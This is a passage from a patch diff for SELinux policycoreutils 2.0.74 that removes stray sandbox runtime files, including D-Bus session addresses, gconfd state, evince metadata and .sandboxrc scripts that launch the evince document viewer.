-+++ policycoreutils-2.0.74/sandbox/.sandDU27fU/.recently-used.xbel	2009-09-20 18:43:56.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandDU27fU/.sandboxrc policycoreutils-2.0.74/sandbox/.sandDU27fU/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandDU27fU/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandDU27fU/.sandboxrc	2009-09-20 18:43:51.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandEwfYil/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sandEwfYil/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sandEwfYil/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandEwfYil/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:48:49.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-9sxjAoKmU1,guid=635ecdfe5313853941699f3c4ab6db81
-+DBUS_SESSION_BUS_PID=19273
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sandEwfYil/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandEwfYil/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandEwfYil/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandEwfYil/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandEwfYil/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandEwfYil/.gconfd/saved_state	2009-09-20 18:48:53.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346234342d302d353962333062343032633766330000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346234342d302d3539623330623430326337663300000000001c000000000000007f8470980ca3a828eb2428282828282801000000440e9ebe01000000480000000100000002000000050000001c000000000000007f8470980ca3a828eb2428282828282801000000440e9ebe01000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandEwfYil/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sandEwfYil/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sandEwfYil/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandEwfYil/.recently-used.xbel	2009-09-20 18:48:53.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandEwfYil/.sandboxrc policycoreutils-2.0.74/sandbox/.sandEwfYil/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandEwfYil/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandEwfYil/.sandboxrc	2009-09-20 18:48:49.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandFvSaCB/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sandFvSaCB/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sandFvSaCB/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandFvSaCB/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:51:41.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-SS7TyVm1DO,guid=f1c44cf39424360da4f412464ab6dc2d
-+DBUS_SESSION_BUS_PID=19638
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sandFvSaCB/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandFvSaCB/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandFvSaCB/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandFvSaCB/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandFvSaCB/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandFvSaCB/.gconfd/saved_state	2009-09-20 18:51:44.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346362312d302d353139386637353961326462330000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346362312d302d3531393866373539613264623300000000001c0000000000000041f8886819642828eb24282828282828010000001cfc38b001000000480000000100000002000000050000001c0000000000000041f8886819642828eb24282828282828010000001cfc38b001000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandFvSaCB/.gnome2/evince/evince-crashed policycoreutils-2.0.74/sandbox/.sandFvSaCB/.gnome2/evince/evince-crashed
---- nsapolicycoreutils/sandbox/.sandFvSaCB/.gnome2/evince/evince-crashed	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandFvSaCB/.gnome2/evince/evince-crashed	2009-09-20 18:51:41.000000000 -0700
-@@ -0,0 +1,3 @@
-+
-+[Evince]
-+documents=empty-window;
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandFvSaCB/.sandboxrc policycoreutils-2.0.74/sandbox/.sandFvSaCB/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandFvSaCB/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandFvSaCB/.sandboxrc	2009-09-20 18:51:40.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandfXZ7O0/.sandboxrc policycoreutils-2.0.74/sandbox/.sandfXZ7O0/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandfXZ7O0/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandfXZ7O0/.sandboxrc	2009-09-20 18:51:13.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+evinced
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandGljofi/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandGljofi/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandGljofi/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandGljofi/.gconfd/saved_state	2009-09-20 18:35:38.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d343931302d302d373632313236323935623534310000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d343931302d302d3736323132363239356235343100000000001c00000000000000dec6f4904881e8a8eb2428282828282801000000b70b778f01000000480000000100000002000000050000001c00000000000000dec6f4904881e8a8eb2428282828282801000000b70b778f01000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandgWA5fU/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sandgWA5fU/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sandgWA5fU/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandgWA5fU/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:50:09.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-wm3V6XS1BH,guid=834e597a2191494022c5dbcd4ab6dbd1
-+DBUS_SESSION_BUS_PID=19399
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sandgWA5fU/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandgWA5fU/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandgWA5fU/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandgWA5fU/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandgWA5fU/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandgWA5fU/.gconfd/saved_state	2009-09-20 18:50:12.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002b0000002f746d702f6f726269742d6477616c73682f6c696e632d346263312d302d336364633665643236343239000000000000caaedfba58000000010102002b0000002f746d702f6f726269742d6477616c73682f6c696e632d346263312d302d3363646336656432363432390000000000001c0000000000000040fa8c60794368a8eb24282828282828010000007d3db9b101000000480000000100000002000000050000001c0000000000000040fa8c60794368a8eb24282828282828010000007d3db9b101000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandgWA5fU/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sandgWA5fU/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sandgWA5fU/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandgWA5fU/.recently-used.xbel	2009-09-20 18:50:12.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandgWA5fU/.sandboxrc policycoreutils-2.0.74/sandbox/.sandgWA5fU/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandgWA5fU/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandgWA5fU/.sandboxrc	2009-09-20 18:50:08.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandhGC2MA/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sandhGC2MA/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sandhGC2MA/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandhGC2MA/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:41:58.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-3eOkeaFHzR,guid=e8e2d3e31ed54d2678cc388e4ab6d9e6
-+DBUS_SESSION_BUS_PID=18956
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sandhGC2MA/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandhGC2MA/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandhGC2MA/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandhGC2MA/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandhGC2MA/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandhGC2MA/.gconfd/saved_state	2009-09-20 18:42:04.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002b0000002f746d702f6f726269742d6477616c73682f6c696e632d346130372d302d623231643561336435386663000000000000caaedfba58000000010102002b0000002f746d702f6f726269742d6477616c73682f6c696e632d346130372d302d6232316435613364353866630000000000001c00000000000000223e04709f02e8a8eb24282828282828010000007a954ffb01000000480000000100000002000000050000001c00000000000000223e04709f02e8a8eb24282828282828010000007a954ffb01000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandhGC2MA/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sandhGC2MA/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sandhGC2MA/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandhGC2MA/.recently-used.xbel	2009-09-20 18:42:03.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandhGC2MA/.sandboxrc policycoreutils-2.0.74/sandbox/.sandhGC2MA/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandhGC2MA/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandhGC2MA/.sandboxrc	2009-09-20 18:41:58.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandJ9bHZs/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sandJ9bHZs/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sandJ9bHZs/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandJ9bHZs/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:50:32.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-spRMvWreBA,guid=dbc49f7f1fdc92aed762a27f4ab6dbe8
-+DBUS_SESSION_BUS_PID=19516
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sandJ9bHZs/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandJ9bHZs/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandJ9bHZs/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandJ9bHZs/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandJ9bHZs/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandJ9bHZs/.gconfd/saved_state	2009-09-20 18:50:37.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002b0000002f746d702f6f726269742d6477616c73682f6c696e632d346333372d302d333235393933376261316262000000000000caaedfba58000000010102002b0000002f746d702f6f726269742d6477616c73682f6c696e632d346333372d302d3332353939333762613162620000000000001c000000000000009948e8a81f642828eb24282828282828010000000cb4c02801000000480000000100000002000000050000001c000000000000009948e8a81f642828eb24282828282828010000000cb4c02801000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandJ9bHZs/.gnome2/evince/ev-metadata.xml policycoreutils-2.0.74/sandbox/.sandJ9bHZs/.gnome2/evince/ev-metadata.xml
---- nsapolicycoreutils/sandbox/.sandJ9bHZs/.gnome2/evince/ev-metadata.xml	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandJ9bHZs/.gnome2/evince/ev-metadata.xml	2009-09-20 18:50:34.000000000 -0700
-@@ -0,0 +1,9 @@
-+<?xml version="1.0"?>
-+<metadata>
-+  <document uri="file:///home/dwalsh/d" atime="1253497832">
-+    <entry key="window_maximized" type="gboolean" value="0"/>
-+  </document>
-+  <document uri="last-used-value" atime="1253497832">
-+    <entry key="window_maximized" type="gboolean" value="0"/>
-+  </document>
-+</metadata>
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandJ9bHZs/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sandJ9bHZs/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sandJ9bHZs/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandJ9bHZs/.recently-used.xbel	2009-09-20 18:50:37.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandJ9bHZs/.sandboxrc policycoreutils-2.0.74/sandbox/.sandJ9bHZs/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandJ9bHZs/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandJ9bHZs/.sandboxrc	2009-09-20 18:50:32.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince d
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandm8rUJi/.sandboxrc policycoreutils-2.0.74/sandbox/.sandm8rUJi/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandm8rUJi/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandm8rUJi/.sandboxrc	2009-09-20 18:49:10.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+evinced
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandMsqk5z/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sandMsqk5z/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sandMsqk5z/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandMsqk5z/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:52:03.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-eCyP2ZHgv3,guid=a600a08dd74abe0f38b442554ab6dc43
-+DBUS_SESSION_BUS_PID=19667
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sandMsqk5z/Documents/College.pdf and policycoreutils-2.0.74/sandbox/.sandMsqk5z/Documents/College.pdf differ
-Binary files nsapolicycoreutils/sandbox/.sandMsqk5z/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandMsqk5z/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandMsqk5z/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandMsqk5z/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandMsqk5z/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandMsqk5z/.gconfd/saved_state	2009-09-20 18:52:08.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002b0000002f746d702f6f726269742d6477616c73682f6c696e632d346363662d302d316437383165343639306335000000000000caaedfba58000000010102002b0000002f746d702f6f726269742d6477616c73682f6c696e632d346363662d302d3164373831653436393063350000000000001c00000000000000d7d4d0d807a4a828eb24282828282828010000001e42fe8601000000480000000100000002000000050000001c00000000000000d7d4d0d807a4a828eb24282828282828010000001e42fe8601000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandMsqk5z/.gnome2/evince/ev-metadata.xml policycoreutils-2.0.74/sandbox/.sandMsqk5z/.gnome2/evince/ev-metadata.xml
---- nsapolicycoreutils/sandbox/.sandMsqk5z/.gnome2/evince/ev-metadata.xml	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandMsqk5z/.gnome2/evince/ev-metadata.xml	2009-09-20 18:52:05.000000000 -0700
-@@ -0,0 +1,11 @@
-+<?xml version="1.0"?>
-+<metadata>
-+  <document uri="file:///home/dwalsh/Documents/College.pdf" atime="1253497923">
-+    <entry key="sidebar_page" type="gchararray" value="thumbnails"/>
-+    <entry key="window_maximized" type="gboolean" value="0"/>
-+  </document>
-+  <document uri="last-used-value" atime="1253497923">
-+    <entry key="sidebar_page" type="gchararray" value="thumbnails"/>
-+    <entry key="window_maximized" type="gboolean" value="0"/>
-+  </document>
-+</metadata>
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandMsqk5z/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sandMsqk5z/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sandMsqk5z/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandMsqk5z/.recently-used.xbel	2009-09-20 18:52:08.000000000 -0700
-@@ -0,0 +1,16 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+>
-+  <bookmark href="file:///home/dwalsh/Documents/College.pdf" added="2009-09-21T01:52:03Z" modified="2009-09-21T01:52:03Z" visited="2009-09-21T01:52:03Z">
-+    <info>
-+      <metadata owner="http://freedesktop.org">
-+        <mime:mime-type type="application/pdf"/>
-+        <bookmark:applications>
-+          <bookmark:application name="Document Viewer" exec="&apos;evince %u&apos;" modified="2009-09-21T01:52:03Z" count="1"/>
-+        </bookmark:applications>
-+      </metadata>
-+    </info>
-+  </bookmark>
-+</xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandMsqk5z/.sandboxrc policycoreutils-2.0.74/sandbox/.sandMsqk5z/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandMsqk5z/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandMsqk5z/.sandboxrc	2009-09-20 18:52:02.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince /home/dwalsh/Documents/College.pdf
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sando4RPnA/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sando4RPnA/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sando4RPnA/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sando4RPnA/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:47:42.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
